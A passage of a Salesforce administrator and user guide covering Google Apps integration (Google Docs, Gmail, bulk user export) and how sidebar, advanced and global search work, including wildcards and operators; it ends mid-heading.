Domain settings consist of two values: the user chosen to administer your organization's Google Apps account and the domain your organization registered with Google. Both fields are required to enable Google Apps in Salesforce. To edit your domain settings: 1. In the Configure Google Apps Domain section, click Edit. 2. Optionally, choose a new user for the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 3. Optionally, modify the Google Apps Domain that is registered with Google for your organization's Google Apps account. Your Google Apps Domain is typically your company's domain; for example, acme.com.

Modifying Google Apps Services


This section lists Google Apps services that are integrated with Salesforce and also provides links to several Google-related Force.com AppExchange apps that can be easily installed from AppExchange. If you are activating a service for the first time, review the Implementation Tips for Google Apps services. To activate or deactivate an integrated service, click Edit next to the service name. These services include: Add Google Docs to Salesforce Gmail to Salesforce Gmail Buttons and Links Google Talk Sidebar Component Important: Google Talk within Salesforce is no longer available. For alternative ways to use Google Talk, see the Google Talk online help.

327

Salesforce for Google Apps

Creating Google Apps Accounts

To install or uninstall an AppExchange app, click Install or Uninstall next to the appropriate name. To view all Google-related AppExchange offerings, visit http://sites.force.com/appexchange.

See Also:
Installing a Package Uninstalling a Package Google Apps Overview

Creating Google Apps Accounts


Available in: All Editions except Database.com

User Permissions Needed Export users to Google: Create new Google Apps accounts: Customize Application Google Apps administrator

After creating a Google Apps account for your organization and enabling Google Apps in Salesforce, you can create Google Apps accounts for individual users. To access the Google Apps services that are enabled in Salesforce, each user needs a Google Apps account on the domain your organization registered with Google. An account includes a username and password that allow the user to log into all Google Apps services. Note: If your organization purchased Salesforce and Google Apps Supported, the number of Google Apps Premier Edition accounts you can create is limited to the number of licenses your organization purchased. To export a list of users to Google and create Google Apps accounts for each user: 1. Click Your Name > Setup > Manage Users > Users. 2. In the View drop-down list, choose a list of users. To create a custom list view, see Creating Custom List Views on page 270. 3. Click Export to Google Apps to export all the users in the list. To export certain users only, select those users in the Action column. Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display. To enable Google Apps in Salesforce, see Getting Started with Salesforce and Google Apps on page 322. 4. On the Export Users to Google Apps page, click the export file link that is labeled as Step 1. The name of the link depends on the list view you chose to export; for example, if you were viewing the All Users list, the link on the Export Users to Google Apps page is All Users Export File. 5. In the CSV spreadsheet that displays when click you the export link, provide a temporary password for each user. You can modify the username, last name, and first name fields for any user as needed. Google creates account names by adding your domain to the usernames in the spreadsheet; for example, if your domain is acme.com and the spreadsheet contains john.doe and jane.doe usernames, the Google Apps usernames are john.doe@acme.com and jane.doe@acme.com. 6. Save the spreadsheet to your computer.

328

Salesforce for Google Apps

Using Google Docs in Salesforce

7. Click the Google Apps Bulk User Import Tool link to launch the Bulk Account Update page for your organization's Google Apps account. If prompted, log in with your Google Apps administrator username. Only the user who is registered with Google as the administrator of your organization's account can create additional Google Apps accounts on your organization's domain. 8. Follow Google's instructions to import the data in the spreadsheet. The Google Apps administrator receives a confirmation report, and the user for each successfully created account receives a notification email at his or her new Gmail account.. 9. Notify users of their usernames and passwords. They will need this information to use any Google Apps service that is enabled in Salesforce.

See Also:
Google Apps Overview Getting Started with Salesforce and Google Apps

Using Google Docs in Salesforce


Available in: All Editions except Database.com

User Permissions Needed Activating the Add Google Docs to Salesforce service: Using Google Docs in Salesforce Customize Application Read on the appropriate record type AND Google Apps account Use Google Docs to create and share on-demand documents, presentations, and spreadsheets (Google docs) and see your changes in real time as you collaborate with other users. Because your content is stored within Google, there is no need to manage versions or send attachments by emailsimply log in with your Google Apps account and view the current document or its revision history. Salesforce and Google Apps allows you to integrate Google Docs with Salesforce in these ways: The Docs home page in your Google Apps account lists all the Google documents, presentations, and spreadsheets that you have created or that other Google Apps users have shared with you. Associate Google docs with Salesforce recordsFrom the Docs home page you can associate a Google doc with Salesforce records by using the Add Google Doc to Salesforce browser button. You can also create, edit, or delete Google doc associations on any Salesforce record by using the Google Docs, Notes, & Attachments or Google Docs & Attachments related lists. Use Salesforce CRM Content to manage your Google Docs If Salesforce CRM Content is enabled, you can use the Contribute tab or the Add Google Doc to Salesforce browser button to add Google docs to your libraries. Including Google docs in Salesforce CRM Content allows you to manage all types of content in a centralized location.

329

Salesforce for Google Apps

Activating Google Docs in Salesforce

For information about Google Docs, refer to Google's online help.

See Also:
Activating Google Docs in Salesforce Adding Google Docs to Salesforce Installing the Add Google Doc to Salesforce Browser Button

Activating Google Docs in Salesforce


Available in: Contact Manager, Group, Professional,Enterprise,Unlimited, and Developer Editions

User Permissions Needed Activating the Add Google Docs to Salesforce service: Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting Started with Salesforce and Google Apps on page 322. Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and work together in real time with other collaborators. To activate or deactivate the Add Google Docs to Salesforce service: 1. 2. 3. 4. Click Your Name > Setup > Google Apps > Settings. Click Edit next to the Add Google Docs to Salesforce option in the Activate Google Apps Services list. Select or deselect the Activate checkbox. If you are activating the Add Google Docs to Salesforce service, read the Terms of Use and select the checkbox indicating you agree to the Terms of Use. 5. Click Save. When the Add Google Docs to Salesforce service is enabled, the following changes allow users to create, edit, or view Google docs and associate them with Salesforce records: The Notes & Attachments related list on accounts, assets, contacts, contracts, leads, opportunities, products, and custom objects is renamed to Google Docs, Notes, & Attachments. The Attachments related list on cases, solutions, and campaigns is renamed to Google Docs & Attachments. If Salesforce CRM Content is enabled, the Libraries tab has an Add Google Doc drop-down list.

Users can also install the Add Google Doc to Salesforce browser button, which allows them to associate a Google doc to several Salesforce records or a Salesforce CRM Content library without being logged into Salesforce. For more information see Installing the Add Google Doc to Salesforce Browser Button on page 335 and Adding Google Docs to Salesforce on page 331.

330

Salesforce for Google Apps

Adding Google Docs to Salesforce

Implementation Tips
For information about Google Docs, refer to Google's online help. By default, Google Docs users on your domain can share their Google docs with Google Apps accounts outside your domain. The control panel in your Google Apps account contains sharing settings that enable you to restrict document sharing to users within your organization's domain. Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot use the Add Google Doc to Salesforce browser button. When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records, and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs associations in libraries and does not permanently delete Google docs in Recycle Bins. The Add Google Docs to Salesforce service cannot be disabled for your organization if Google docs are referenced in Apex. For more information, see Apex Code Overview on page 2086. Google docs count against data storage. For each Google doc associated with a record or library in Salesforce, two Kb of storage is used.

See Also:
Adding Google Docs to Salesforce Installing the Add Google Doc to Salesforce Browser Button

Adding Google Docs to Salesforce


Available in: All Editions except Database.com

User Permissions Needed Creating a Google doc and linking it to Salesforce records: Edit on the appropriate record type AND Google Apps account

Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account. Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your Google Apps username and password, contact your administrator. Salesforce offers three methods for creating new Google docs and associating them with Salesforce records: You can create a Google doc from any detail page. The doc is automatically associated with the record and is visible to anyone with access to both the record and the Google doc.

331

Salesforce for Google Apps

Adding Google Docs to Salesforce

You can create a Google doc from the Docs home page in your Google Apps account and associate the doc to one or more Salesforce records or Salesforce CRM Content libraries using the Add Google Doc to Salesforce browser button. If Salesforce CRM Content is enabled, you can create a Google doc from the Contribute tab to associate it with a Salesforce CRM Content library. Tip: For information about using Google Docs, refer to Google's online help.

Adding New Google Docs to a Salesforce Record


1. Display the record you want linked to the new Google doc. 2. On the Google Docs, Notes, & Attachments related list or the Google Docs & Attachments related list, click Add Google Doc and choose New Document, New Spreadsheet, or New Presentation. 3. To create a blank Google doc: a. After choosing a doc type from the Add Google Doc drop-down button, choose Create as a blank document, Create as a blank spreadsheet, or Create as a blank presentation. The name of the radio button depends on which type of Google doc you chose to create. b. Enter a name for the document, spreadsheet, or presentation. c. Click Create Google Doc. The blank document displays with the name you assigned. You can begin editing your doc; it is automatically associated with the selected record. Tip: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can view the doc from the record detail page. 4. To create a new Google doc by converting another file format to Google Docs: a. After choosing a doc type from the Add Google Doc drop-down button, choose Create using an existing file. b. Select the file you want to convert. Salesforce can convert the following file types to Google docs: Microsoft Word (doc), text (txt), rich text format (rtf), OpenDocument text (odt), or StarOffice document (swx) files up to 500 KB each Microsoft Excel (xls), comma-separated value (csv), or OpenDocument spreadsheet (ots) files up to 1 MB each Note: If commas are not appropriate for your locale, use a tab or other delimiter.

Microsoft PowerPoint (ppt or pps) files up to 10 MB each

c. Enter a name for the document, spreadsheet, or presentation. d. Click Create Google Doc. The file you uploaded is converted to a Google document, presentation, or spreadsheet. You can begin editing your doc; it is automatically associated with the selected record. Tip: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can view the doc from the record detail page.

To link an existing Google doc to a record, see Editing Google Doc Links on page 334.

332

Salesforce for Google Apps

Adding Google Docs to Salesforce

Creating Google Docs from the Docs Home Page


The Docs home page in your Google Apps account lists all the Google docs you have created with your Google Apps account or that other users have shared with your account. You can access the Docs home page by logging into your Google Apps account and navigating to the Docs home page. If the Add Google Doc to Salesforce browser button is installed in your browser, create a Google doc and click the browser button to associate the Google doc with Salesforce records or libraries. For more information, see Associating Google Docs with Salesforce Records on page 336.

Adding New Google Docs to a Salesforce CRM Content Library


Create a new Google doc and publish it into a library, sharing that document with other members of that library. 1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc drop-down button. You may be prompted to log in to Google Apps. 2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens. 3. In the Save or Publish Content dialog: a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who view the doc's content details page in Salesforce CRM Content. b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose Save in my personal library. c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. d. To publish the content on behalf of another author, choose that author from the drop-down list. e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the doc and provide feedback such as comments and votes.

333

Salesforce for Google Apps

Editing Google Doc Links

Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM Content.

See Also:
Using Google Docs in Salesforce Installing the Add Google Doc to Salesforce Browser Button

Editing Google Doc Links


Available in: All Editions except Database.com

User Permissions Needed Editing Google doc links: Read on the appropriate record type AND Google Apps account

Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account. Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your Google Apps username and password, contact your administrator. You can associate an existing Google doc with a Salesforce record by adding the name and URL of that Google doc to the record. An existing Google doc is one that you already have access to on your Google Apps account but is not already associated with the record you are viewing. Note: To add an existing Google doc to a Salesforce CRM Content library, see Contributing Google Docs to Salesforce CRM Content on page 302. To add an existing Google doc to a record: 1. Display the record you want to associate with the Google doc. 2. On the Google Docs, Notes, & Attachments or Google Docs & Attachments related list, click Add Google Doc and choose Add Existing. 3. Enter a Name for the Google doc and its URL. 4. Click Save. Tip: You can find the URL by clicking Take me to Google Docs.

Once a Google doc is associated with a Salesforce record, clicking Edit next to that doc on the Google Docs, Notes, & Attachments or Google Docs & Attachments related list displays the Add Existing Google Doc page. Modify the Name and URL as needed.

334

Salesforce for Google Apps

Installing the Add Google Doc to Salesforce Browser Button

Tip: For information about using Google Docs, refer to Google's online help.

See Also:
Using Google Docs in Salesforce Adding Google Docs to Salesforce Installing the Add Google Doc to Salesforce Browser Button

Installing the Add Google Doc to Salesforce Browser Button


Available in: All Editions except Database.com

A browser button is an applet, or small computer application, that provides one-click functionality similar to a bookmark. The Add Google Doc to Salesforce browser button allows you to associate a Google doc with several Salesforce records at once, even when you are not working in Salesforce. To use this browser button, the Add Google Doc to Salesforce service must be enabled and you must install the browser button in your browser. You can access the Add Google Doc to Salesforce browser button on the Contribute tab in Salesforce CRM Content or on a record detail page: 1. Display any record in Salesforce that has a Google Docs, Notes, & Attachments or Google Docs & Attachments related list on the record detail page. 2. Choose Add Existing from the Add Google Doc drop-down button in the Google Docs, Notes, & Attachments or Google Docs & Attachments related list. If the related list contains a Google doc, you can also click Edit next to the Google doc. 3. Click Get the browser button at the bottom of the page. Note: Because Customer Portal and partner portal users do not have access to the Google Docs, Notes, & Attachments or Google Docs & Attachments related list in the portal, portal users can only obtain the browser button from the Contribute tab in Salesforce CRM Content. If you use more than one type of browser, for example Microsoft Internet Explorer and Mozilla Firefox, install the browser button in each browser. Google Chrome is not supported for the browser button. The instructions for installing the browser button depend on your browser. In Firefox, drag the browser button to your Bookmarks Toolbar. In Apple Safari, drag the browser button to your Bookmark Bar. In Internet Explorer: Note: The instructions may vary slightly based on your version of Internet Explorer.

1. 2. 3. 4.

Right-click the browser button and choose Add to Favorites... from the Add Google Doc to Salesforce page. Save the browser button in the Links folder and click Add. In your browser menu bar, click View > Toolbars and ensure that the Links toolbar is visible. Close and restart your browser. The browser button displays in your Links toolbar.

335

Salesforce for Google Apps

Associating Google Docs with Salesforce Records

Note: If you change your personal language setting in Salesforce and want to change the language on the browser button also, you must delete and reinstall the browser button.

See Also:
Adding Google Docs to Salesforce Associating Google Docs with Salesforce Records

Associating Google Docs with Salesforce Records


Available in: All Editions except Database.com

User Permissions Needed Associating a Google doc with a Salesforce record: Read on the appropriate record type AND Google Apps account

When you create, edit, or view a Google doc from your online Docs home page in your Google Apps account, click the Add Google Doc to Salesforce browser button to associate the Google doc with one or more Salesforce records. If Salesforce CRM Content is enabled in your organization, you can also add the Google doc to a Salesforce CRM Content library. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, toGoogle docs. To associate a Google doc with Salesforce records from the Docs home page: 1. 2. 3. 4. 5. 6. Open a Google doc. Click the Add Google Doc to Salesforce browser button. In the Add Google Doc To field, enter your search criteria for the Salesforce record. Select an object type from the drop-down list and click Search. Optionally, filter your search results with the Limit to items I own checkbox. In the search results, select one or more records and click Add Google Doc to Selected Records. You can also click any of the fields in the search-results list to view more information about the record(s).

To associate a Google doc with Salesforce CRM Content from the Docs home page: 1. Open a Google doc. 2. Click the Add Google Doc to Salesforce browser button. 3. In the Salesforce CRM Content message window at the top of the page, click Publish your Google Doc into Salesforce CRM Content. The message only displays if you are a member of a Salesforce CRM Content library and have a library permission that allows you to contribute content. 4. In the Describe and Publish window, add a title for your Google doc and, optionally, a description. 5. Choose a library.

336

Salesforce for Google Apps

Using Gmail in Salesforce

6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 7. To publish the content on behalf of another author, choose that author from the drop-down list. 8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 10. After completing any custom fields, click Publish. All library members can now search for this doc and provide feedback such as comments and votes. Note: While your Google doc is open, remember to share it with other Google Apps users in your organization. Only Google Apps users with whom the doc is shared can view and edit the doc.

See Also:
Using Google Docs in Salesforce Adding Google Docs to Salesforce Google Apps Overview

Using Gmail in Salesforce


Available in: All Editions except Database.com

User Permissions Needed Activating Gmail in Salesforce: Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting Started with Salesforce and Google Apps on page 322.

337

Salesforce for Google Apps

Using Gmail in Salesforce

Gmail (also called Google Mail) is a free Web-based email service from Google that operates on all standard browsers and can be used with your company's domain. You can integrate Gmail with Salesforce in two ways: Gmail to Salesforce Gmail Buttons and Links

Gmail to Salesforce
Gmail to Salesforce allows you to automatically log emails and chats you send from your Gmail account as activities on lead, contact, opportunity, and other records that support activity history in Salesforce. Gmail to Salesforce is based on the Email to Salesforce feature. To activate Gmail to Salesforce for your organization, follow the instructions in Enabling Email to Salesforce on page 1060. To configure your personal Gmail to Salesforce setup, follow the instructions in Guidelines on Using Email to Salesforce on page 267.

Gmail Buttons and Links


Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is activated, Salesforce also populates the BCC field with your Email to Salesforce address. To activate Gmail Buttons and Links: 1. 2. 3. 4. 5. Click Your Name > Setup > Google Apps > Settings. In the Activate Google Apps Services list, click Edit next to Gmail Buttons and Links. Select the Active checkbox to activate Gmail Buttons and Links for your organization. Select the Gmail Links checkbox to add Gmail links next to all email fields (except email fields on pages under Setup). Select the Gmail Buttons checkbox to add Compose Gmail buttons in Activity History related lists on leads and contacts. 6. Read the Terms of Use, and select the checkbox indicating you have read and agree to them. 7. Click Save.

Implementation Notes
If your organization enables Gmail Buttons and Links but does not enable Gmail to Salesforce, you can still use the Gmail links on contact and lead records; however, Salesforce does not log emails you send from your Gmail account, or automatically populate the BCC field on the Compose Mail screen with an Email to Salesforce address. For information about Gmail, refer to Google's online help.

See Also:
Google Apps Overview

338

Search and Tags

Using Google Talk in Salesforce

Using Google Talk in Salesforce


Available in: All Editions except Database.com

User Permissions Needed Activating or deactivating Google Talk: Customize Application

Important: Google Talk within Salesforce is no longer available. For alternative ways to use Google Talk, see the Google Talk online help.

Deactivating Google Talk


To deactivate Google Talk in Salesforce: 1. 2. 3. 4. Click Your Name > Setup > Google Apps > Settings. Click Edit next to the Google Talk Sidebar Component option in the Activate Google Apps Services list. Deselect the Active checkbox. Click Save.

See Also:
Google Apps Overview Setting Up Google Apps in Salesforce

SEARCH AND TAGS


Search Overview
Available in: All Editions except Database.com

Search for salesforce.com records and tags using: Sidebar Search From the sidebar search box you can search a subset of objects and fields. You can use wildcards and filters to refine your search.

339

Search and Tags

Search Overview

Advanced Search Click Advanced Search... in the sidebar to search a subset of objects in combination and more fields than sidebar search, including custom fields and long text fields such as descriptions, notes, and task and event comments. You can use wildcards, operators, and filters to refine your search. Global Search From the header search box you can search more objects than sidebar search and advanced search, including articles, documents, products, solutions, and Chatter feeds, files, groups, and people. You can also search more fields than sidebar search, including custom fields, and long text fields such as descriptions, notes, and task and event comments. You can use wildcards, operators, and filters to refine your search. Global search keeps track of which objects you use and how often you use them, and arranges the search results accordingly. Search results for the objects you use most frequently appear at the top of the list. You must enable Chatter to enable global search. Note: If global search is enabled, sidebar search and advanced search aren't enabled.

Global search is not supported in partner portal or Customer Portal. Only users with supported browsers can use global search.

Other Search Utilities


Some objects have unique search utilities on their tabs. Global search results include these objects with the exception of Article Management and Salesforce CRM Content. Neither sidebar search nor advanced search can find these objects; use the search feature on the tab to find them. Solutions Documents Salesforce CRM Content Products Articles Article Management Tip: Your administrator can customize your Home tab to include the product, document, or solution search in the sidebar.

See Also:
How Search Works Searching in Salesforce.com Refining Search Browsing, Searching, and Managing Tags Customizing Search Settings Customizing Search Layouts

340

Search and Tags

How Search Works

How Search Works


Search uses custom algorithms, including natural language analysis (NLA) techniques such as tokenization, stemming (articles and files), and stopword lists, to return meaningful search results. Available in: All Editions except Database.com

Tokenization breaks down all searchable text into smaller pieces at spaces, punctuation, and alphanumeric boundaries and stores them in search indexes. When you perform a search, your results include matches on the tokens in your search term. For example, a search for web2lead returns matches for web, 2, and lead. Stemming is the process of reducing a word to its root form. With stemming, search can match expanded forms of a search term, as long as they are the same figure of speech. For example, a search for run matches run, running, and ran, but not runner. Stopword lists contain words that are ignored in search terms for each supported language (for example, the, to, and for). These words are removed from the search and are not matched on to avoid irrelevant results. Search further refines matches based on: Proximity and frequency of search terms in an item Any search options you specify Pinned items on your search results page Item ownership Item popularity or importance determined by page views or the number of related lists Recent interaction with an item, for example if you view or edit a record

Two users performing the same search might have different search results, because searches are configured for the user performing the search. For example, if you own or recently viewed an item, its relevancy increases and the item moves higher in your search results. How your search works depends on whether you're using sidebar, advanced, or global search.

See Also:
Search Overview Searching in Salesforce.com Refining Search Search Fields

How Sidebar Search Works


Available in: All Editions except Database.com

How your sidebar search works depends on your search options, search terms, and the use of wildcards.

341

Search and Tags

How Search Works

Search Options Sidebar search searches only a subset of records and fields, including name, phone, email, and standard address fields. If the sidebar search drop-down list is available, you can limit your search to only tags or the records for a single object. If the sidebar search Limit to items I own checkbox is available, you can select this box to limit your search to records you own. Search Terms Searches are conducted as a phrase search and match terms in the exact sequence that they appear. For example, searching for bob jones returns items with Bob Jones, but not Bobby Jones or Bob T Jones. Likewise, searching for acct!4 only returns items with acct!4 in a single string. Wildcards and Operators You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or ? to match a single character. An * is automatically appended to your search string. For example, searching for bob jo finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can't use operators to refine results in sidebar search.

See Also:
Searching in Salesforce.com Refining Search Search Results

How Advanced Search Works


Available in: All Editions except Database.com

How your advanced search works depends on your search options, search terms, and the use of wildcards and operators. Search Options Advanced search searches more record types and fields than sidebar search, including attachments, custom fields, and long text fields such as descriptions, notes, and task and event comments. Select Limit to items I own, if available, to limit your search to records you own, including case comments and reports that you created. Click Advanced Search... and choose one or more objects by which to limit your search. You can also restrict your search to divisions, if your organization uses them. Search Terms Search terms are treated as separate words and may be found in different searchable fields within a record. For example, searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is bsmith@jones.com. Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns items with Acct, !, and 4, even if those terms are in separate places in the item.

342

Search and Tags

How Search Works

Wildcards and Operators You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or ? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and " " (quotation marks) operators to refine results.

See Also:
Searching in Salesforce.com Refining Search Search Results

How Global Search Works


Available in: All Editions except Database.com

Global search searches more record types, including articles, documents, products, solutions, and Chatter feeds, files, groups, and people. Global search also searches more field types, including custom fields and long text fields such as descriptions, notes, and task and event comments. Global search keeps track of which objects you use and how often you use them, and arranges the search results accordingly. Search results for the objects you use most frequently appear at the top of the list. If global search doesnt have enough information about which objects you use, you see results for your previous saved scope or for all objects until it has more information. How your global search works depends on your search options, search terms, and the use of wildcards and operators. Search Options Search options let you restrict your search to the records you own, if available; to exact phrase searches; and to divisions, if your organization uses them. The search options you select are saved until you change them. Note: Chatter feed searches arent affected by your search scope; Chatter feed search results include matches across all objects. Search options aren't available to Chatter Free users. Search Terms Search terms are treated as separate words and may be found in different searchable fields within a record. For example, searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is bsmith@jones.com. Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns items with Acct, !, and 4, even if those terms are in separate places in the item. Tip: If you'd like to conduct a phrase search to match multiple terms in the exact sequence that they appear, select Exact phrase in the Options or use quotations marks around your search terms.

343

Search and Tags

Searching in Salesforce.com

Wildcards and Operators You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or ? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and " " (quotation marks) operators to refine results.

See Also:
Searching in Salesforce.com Refining Search Search Results

Searching in Salesforce.com
Available in: All Editions except Database.com

You can change search options before or after your search. 1. Enter your search terms in the sidebar or header search box. 2. Click Search (or Go! if you're using sidebar search).

Tips for Searching in Salesforce


Your search term must have two or more characters. Special characters, such as " ? * ( ), aren't included in the character count. For example, a search for (a) won't return any search results. Search isn't case-sensitive. For example, a search for california finds the same items as a search for California. Find phone numbers by entering part or all of a number. For example, to find (415) 999-3434, enter 4159993434, 999, or 3434. To search for the last seven digits, you must enter the punctuation, such as 999-3434. In Chinese, Japanese, and Korean, you can find a person by entering last name before first name; searching for jones bob returns any person named Bob Jones. If you're using advanced search or global search, refine your search using operators such as AND, OR, and AND NOT. If you're using advanced search or global search, search for exact phrases by putting quotation marks around multiple keywords, for example, "call john smith" finds items with call john smith, but not items with call john p. smith or john smith called. If you're using sidebar search, your search string is automatically treated as a phrase search. Search for partially matching terms using wildcards. Asterisks match one or more characters at the middle or end (not the beginning) of your search term. For example, a search for john* finds items that start with variations on the term john, such as, johnson or johnny. A search for mi* meyers finds items with mike meyers or michael meyers. If you're using sidebar search, an * is automatically appended to the end of the search string.

344

Search and Tags

Refining Search

Question marks match only one character in the middle or end (not the beginning) of your search term. For example, a search for jo?n finds items with the term john or joan but not jon or johan. If you're using global search, the ? is removed from the end of your search term and isn't treated as a wildcard.

See Also:
Search Overview How Search Works Refining Search Search Fields

Refining Search
Available in: All Editions except Database.com

Improve your search results by: Changing search options Sidebar search Advanced search Global search Using wildcards Using operators, if you're using advanced search or global search

See Also:
Search Overview How Search Works Searching in Salesforce.com Search Results

Changing Sidebar Search Options


Available in: All Editions except Database.com

Refine your search results by: Choosing which objects to search If the sidebar search drop-down list is available, you can limit your search to a single object. In the drop-down list, select the object you want. Select Search All to search across all objects.

345

Search and Tags

Refining Search

Note: When all objects are selected, the search results don't return article, article management, content, document, product, and solution records. You can search for these records on their respective tabs.

Searching only items you own If the Limit to items I own checkbox is available, you can search only items you own, including case comments and reports that you created. Note: When Limit to items I own is selected, the search results don't return asset, idea, invoice, order, question, quote, reply, and user records because these records don't have owners.

Searching within a division If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions. If you restrict your search options, the options you select appear under the search box on the Search Results page.

See Also:
How Search Works Searching in Salesforce.com Search Results

Changing Advanced Search Scope


Available in: All Editions except Database.com

1. Click Advanced Search... in the sidebar. 2. Refine your search results by: Searching only items you own In the Advanced Options section, select Limit to items I own, if available. Note: When Limit to items I own is selected, the search results don't return asset, idea, invoice, order, question, quote, reply, and user records because these records don't have owners.

Searching for an exact phrase In the Advanced Options section, select Exact phrase. This is the same as using quotation marks around your search string. Searching within a division If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions.

346

Search and Tags

Refining Search

Choosing which objects to search In the Scope section, select the objects for which you want to return search results. If you don't select any objects, your search returns all possible objects. Click Select All or Deselect All to quickly select all or no objects. Note: When all objects are selected, the search results don't return article, article management, content, document, product, and solution records. You can search for these records on their respective tabs. 3. Click Search. If you restrict your search scope, the scope you select appears under the search box on the Advanced Search Results page. Click Advanced Search under the search box to change your search scope again.

See Also:
How Search Works Searching in Salesforce.com Search Results

Changing Global Search Options


Available in: All Editions except Database.com

1. Click Options... next to the search box in the results page. Search options aren't available to Chatter Free users. 2. Refine your search results by: Selecting Limit to items I own, if available. Note: When Limit to items I own is selected, the search results don't return article, asset, idea, invoice, order, people, product, question, quote, and reply records because these records don't have owners. Selecting Exact phrase. This is the same as using quotation marks around your search string. Searching within a division. If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions.

3. Click Save & Search. The search options you select are saved until you change them.

347

Search and Tags

Refining Search

Note: Chatter feed searches arent affected by your search scope; Chatter feed search results include matches across all objects.

See Also:
How Search Works Searching in Salesforce.com Search Results

Refining Search Using Wildcards

